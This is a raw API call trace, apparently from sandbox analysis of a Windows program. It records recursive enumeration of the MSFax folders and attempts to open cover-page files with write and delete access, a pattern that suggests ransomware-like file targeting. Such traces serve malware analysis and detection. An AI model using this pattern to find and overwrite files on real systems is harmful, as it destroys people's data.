	[0092.334] wcscpy (in: _Dest=0x4895400, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US"
	[0092.334] wcscat (in: _Dest=0x4895400, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\"
	[0092.334] wcscat (in: _Dest=0x4895400, _Source="fyi.cov" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\fyi.cov") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\fyi.cov"
	[0092.334] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\fyi.cov" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\fyi.cov")) returned 0x20
	[0092.334] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\fyi.cov", dwFileAttributes=0x20) returned 0
	[0092.334] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\fyi.cov" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\fyi.cov"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.335] GetLastError () returned 0x5
	[0092.335] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\fyi.cov", dwFileAttributes=0x20) returned 0
	[0092.335] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4895400) returned 1
	[0092.335] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af4c607, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x43ba1000, ftLastWriteTime.dwHighDateTime=0x1d283cc, nFileSizeHigh=0x0, nFileSizeLow=0x3aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="generic.cov", cAlternateFileName="")) returned 1
	[0092.335] wcscmp (_String1="generic.cov", _String2=".") returned 1
	[0092.335] wcscmp (_String1="generic.cov", _String2="..") returned 1
	[0092.335] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9c) returned 0x49863c8
	[0092.335] wcscpy (in: _Dest=0x49863c8, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US"
	[0092.335] wcscat (in: _Dest=0x49863c8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\"
	[0092.335] wcscat (in: _Dest=0x49863c8, _Source="generic.cov" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\generic.cov") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\generic.cov"
	[0092.335] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\generic.cov" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\generic.cov")) returned 0x20
	[0092.335] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\generic.cov", dwFileAttributes=0x20) returned 0
	[0092.335] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\generic.cov" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\generic.cov"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.335] GetLastError () returned 0x5
	[0092.335] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\generic.cov", dwFileAttributes=0x20) returned 0
	[0092.335] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49863c8) returned 1
	[0092.335] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af4c607, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x43ba1000, ftLastWriteTime.dwHighDateTime=0x1d283cc, nFileSizeHigh=0x0, nFileSizeLow=0x2886, dwReserved0=0x0, dwReserved1=0x0, cFileName="urgent.cov", cAlternateFileName="")) returned 1
	[0092.335] wcscmp (_String1="urgent.cov", _String2=".") returned 1
	[0092.335] wcscmp (_String1="urgent.cov", _String2="..") returned 1
	[0092.335] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9a) returned 0x4986128
	[0092.336] wcscpy (in: _Dest=0x4986128, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US"
	[0092.336] wcscat (in: _Dest=0x4986128, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\"
	[0092.336] wcscat (in: _Dest=0x4986128, _Source="urgent.cov" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\urgent.cov") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\urgent.cov"
	[0092.336] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\urgent.cov" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\urgent.cov")) returned 0x20
	[0092.336] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\urgent.cov", dwFileAttributes=0x20) returned 0
	[0092.336] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\urgent.cov" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\urgent.cov"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.336] GetLastError () returned 0x5
	[0092.336] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\urgent.cov", dwFileAttributes=0x20) returned 0
	[0092.336] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4986128) returned 1
	[0092.336] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af4c607, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x43ba1000, ftLastWriteTime.dwHighDateTime=0x1d283cc, nFileSizeHigh=0x0, nFileSizeLow=0x2886, dwReserved0=0x0, dwReserved1=0x0, cFileName="urgent.cov", cAlternateFileName="")) returned 0
	[0092.336] FindClose (in: hFindFile=0x477b2e8 | out: hFindFile=0x477b2e8) returned 1
	[0092.336] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47130e0) returned 1
	[0092.336] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476e818) returned 1
	[0092.336] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476dc48) returned 1
	[0092.336] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4711668 | out: lpFindFileData=0x4711668*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd313219, ftCreationTime.dwHighDateTime=0x1d112f1, ftLastAccessTime.dwLowDateTime=0xc2b0a072, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbd313219, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0092.336] FindClose (in: hFindFile=0x477b268 | out: hFindFile=0x477b268) returned 1
	[0092.337] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4711668) returned 1
	[0092.337] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498e010) returned 1
	[0092.337] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bc290) returned 1
	[0092.337] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b0ac24, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Inbox", cAlternateFileName="")) returned 1
	[0092.337] wcscmp (_String1="Inbox", _String2=".") returned 1
	[0092.337] wcscmp (_String1="Inbox", _String2="..") returned 1
	[0092.337] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x47334c0
	[0092.337] wcscpy (in: _Dest=0x47334c0, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax"
	[0092.337] wcscat (in: _Dest=0x47334c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\"
	[0092.337] wcscat (in: _Dest=0x47334c0, _Source="Inbox" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox"
	[0092.337] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x64) returned 0x47eca40
	[0092.337] wcscpy (in: _Dest=0x47eca40, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox"
	[0092.337] wcscat (in: _Dest=0x47eca40, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox\\"
	[0092.337] wcscat (in: _Dest=0x47eca40, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox\\*") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox\\*"
	[0092.337] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47124d8
	[0092.337] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox\\*", lpFindFileData=0x47124d8 | out: lpFindFileData=0x47124d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b0ac24, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b2e8
	[0092.349] wcscmp (_String1=".", _String2=".") returned 0
	[0092.349] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x47124d8 | out: lpFindFileData=0x47124d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b0ac24, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.349] wcscmp (_String1="..", _String2=".") returned 1
	[0092.349] wcscmp (_String1="..", _String2="..") returned 0
	[0092.349] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x47124d8 | out: lpFindFileData=0x47124d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b0ac24, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0092.350] FindClose (in: hFindFile=0x477b2e8 | out: hFindFile=0x477b2e8) returned 1
	[0092.350] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47124d8) returned 1
	[0092.350] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eca40) returned 1
	[0092.350] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47334c0) returned 1
	[0092.350] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0b3ba, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Queue", cAlternateFileName="")) returned 1
	[0092.350] wcscmp (_String1="Queue", _String2=".") returned 1
	[0092.350] wcscmp (_String1="Queue", _String2="..") returned 1
	[0092.350] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4733d48
	[0092.350] wcscpy (in: _Dest=0x4733d48, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax"
	[0092.350] wcscat (in: _Dest=0x4733d48, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\"
	[0092.350] wcscat (in: _Dest=0x4733d48, _Source="Queue" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue"
	[0092.350] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x64) returned 0x47ed1b0
	[0092.350] wcscpy (in: _Dest=0x47ed1b0, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue"
	[0092.350] wcscat (in: _Dest=0x47ed1b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue\\"
	[0092.350] wcscat (in: _Dest=0x47ed1b0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue\\*") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue\\*"
	[0092.350] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4711198
	[0092.350] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue\\*", lpFindFileData=0x4711198 | out: lpFindFileData=0x4711198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0b3ba, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b268
	[0092.354] wcscmp (_String1=".", _String2=".") returned 0
	[0092.354] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4711198 | out: lpFindFileData=0x4711198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0b3ba, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.354] wcscmp (_String1="..", _String2=".") returned 1
	[0092.354] wcscmp (_String1="..", _String2="..") returned 0
	[0092.354] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4711198 | out: lpFindFileData=0x4711198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0b3ba, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0092.354] FindClose (in: hFindFile=0x477b268 | out: hFindFile=0x477b268) returned 1
	[0092.354] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4711198) returned 1
	[0092.354] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ed1b0) returned 1
	[0092.354] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733d48) returned 1
	[0092.354] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b0bae7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Queue_Migrated", cAlternateFileName="")) returned 1
	[0092.354] wcscmp (_String1="Queue_Migrated", _String2=".") returned 1
	[0092.354] wcscmp (_String1="Queue_Migrated", _String2="..") returned 1
	[0092.354] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x72) returned 0x47bcc90
	[0092.354] wcscpy (in: _Dest=0x47bcc90, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax"
	[0092.355] wcscat (in: _Dest=0x47bcc90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\"
	[0092.355] wcscat (in: _Dest=0x47bcc90, _Source="Queue_Migrated" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue_Migrated") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue_Migrated"
	[0092.355] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x76) returned 0x47bcb90
	[0092.355] wcscpy (in: _Dest=0x47bcb90, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue_Migrated" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue_Migrated") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue_Migrated"
	[0092.355] wcscat (in: _Dest=0x47bcb90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue_Migrated\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue_Migrated\\"
	[0092.355] wcscat (in: _Dest=0x47bcb90, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue_Migrated\\*") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue_Migrated\\*"
	[0092.355] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47130e0
	[0092.355] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue_Migrated\\*", lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b0bae7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b268
	[0092.359] wcscmp (_String1=".", _String2=".") returned 0
	[0092.359] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b0bae7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.359] wcscmp (_String1="..", _String2=".") returned 1
	[0092.359] wcscmp (_String1="..", _String2="..") returned 0
	[0092.359] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b0bae7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0092.359] FindClose (in: hFindFile=0x477b268 | out: hFindFile=0x477b268) returned 1
	[0092.359] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47130e0) returned 1
	[0092.359] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bcb90) returned 1
	[0092.359] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bcc90) returned 1
	[0092.359] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b0c408, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SentItems", cAlternateFileName="SENTIT~1")) returned 1
	[0092.359] wcscmp (_String1="SentItems", _String2=".") returned 1
	[0092.359] wcscmp (_String1="SentItems", _String2="..") returned 1
	[0092.359] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x68) returned 0x47ecea0
	[0092.359] wcscpy (in: _Dest=0x47ecea0, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax"
	[0092.359] wcscat (in: _Dest=0x47ecea0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\"
	[0092.359] wcscat (in: _Dest=0x47ecea0, _Source="SentItems" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems"
	[0092.360] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6c) returned 0x2e04018
	[0092.360] wcscpy (in: _Dest=0x2e04018, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems"
	[0092.360] wcscat (in: _Dest=0x2e04018, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems\\"
	[0092.360] wcscat (in: _Dest=0x2e04018, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems\\*") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems\\*"
	[0092.360] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x470ed80
	[0092.360] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems\\*", lpFindFileData=0x470ed80 | out: lpFindFileData=0x470ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b0c408, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b268
	[0092.360] wcscmp (_String1=".", _String2=".") returned 0
	[0092.360] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x470ed80 | out: lpFindFileData=0x470ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b0c408, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.360] wcscmp (_String1="..", _String2=".") returned 1
